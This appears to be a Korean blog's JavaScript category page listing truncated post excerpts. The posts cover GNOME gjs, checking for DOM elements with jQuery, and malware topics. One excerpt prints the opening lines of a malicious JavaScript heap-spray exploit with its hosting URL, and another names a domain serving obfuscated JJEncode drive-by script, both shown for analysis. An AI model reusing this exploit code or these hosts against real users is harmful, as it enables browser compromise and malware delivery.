본문 바로가기

Javascript22

gjs : GNOME JavaScript gjs는 GNOME JavaScript의 약자로, GNOME 데스크탑 환경에서 JavaScript를 사용하여 애플리케이션을 개발할 수 있는 도구입니다. GNOME은 리눅스 기반의 데스크탑 환경으로 널리 사용되며, gjs는 GNOME 환경에서 사용되는 스크립팅 언어로 JavaScript를 기반으로 합니다. gjs를 사용하면 GNOME 데스크탑에서 자체 애플리케이션을 개발할 수 있으며, GNOME 라이브러리와 플랫폼 기능에 접근하여 확장할 수 있습니다. gjs는 GNOME Shell 확장 프로그램, GNOME 앱 개발, GNOME 패널 앱렛, 시스템 관리 도구 등 다양한 용도로 사용될 수 있습니다. gjs는 SpiderMonkey JavaScript 엔진을 기반으로 동작하며, GNOME 라이브러리와 상호 작.. 2023. 7. 13.
jQuery와 JavaScript로 요소(element)가 있는지 확인 페이지 내에서 특정한 객체 요소가 있는지 확인할 수가 있습니다. jQuery에서 요소가 있는지 .length 속성을 사용해서 확인 합니다. if ($('#elem').length) { alert('elem exists'); } 자바스크립트(JavaScript)에서는 getElementById() 함수를 사용하여 해당 Id의 요소가 있는지(exists) 확인 합니다. if (document.getElementById('elem')) { alert('elem exists'); } getElementById() 함수를 사용하여 DOM에서 요소의 존재 여부 확인 getElementById() 함수를 사용하여 요소의 Id를 사용하여 DOM에 요소가 있는지 확인할 수 있습니다. 다음 예에서는 Click Here 여.. 2021. 4. 10.
Web Attack: Malicious Javascript Heap Spray Generic 공격 z-z.so/xml.php?q=1337            function Suck(dword) {                var t = unescape;                var d = Number(dword).toString(16);                while (d.length                 return t('%u' + d.substr(4, 8) + '%u' + d.substr(0, 4));            }           function setc() {               var Then = new Date()               Then.setTime(Then.getTime() + 1000 * 3600 * 24 * 3)            .. 2014. 5. 16.
JJEncode Script Leads to Drive-By The use of JJEncode in a drive-by download has been around for a couple of years but has been popping up a lot recently. A couple of readers have asked how to deobfuscate this so here’s a walkthrough with a live script.Here’s an automobile forum that’s been compromised:Viewing the source code, this link kicks off the infection:Then from alnera.eu, you end up getting this strange looking Javascri.. 2014. 4. 8.
Hacking through images It's long time I don't write on my own blog (more then two months) and if you look at the history bar on your right you will probably figure out I am slowing down my blog posts a bit if compared to the past years. This happens due the amount of work my security team and I are involved on. Many different and really important facts happened during the past months, from astonishing NSA revelations .. 2013. 11. 5.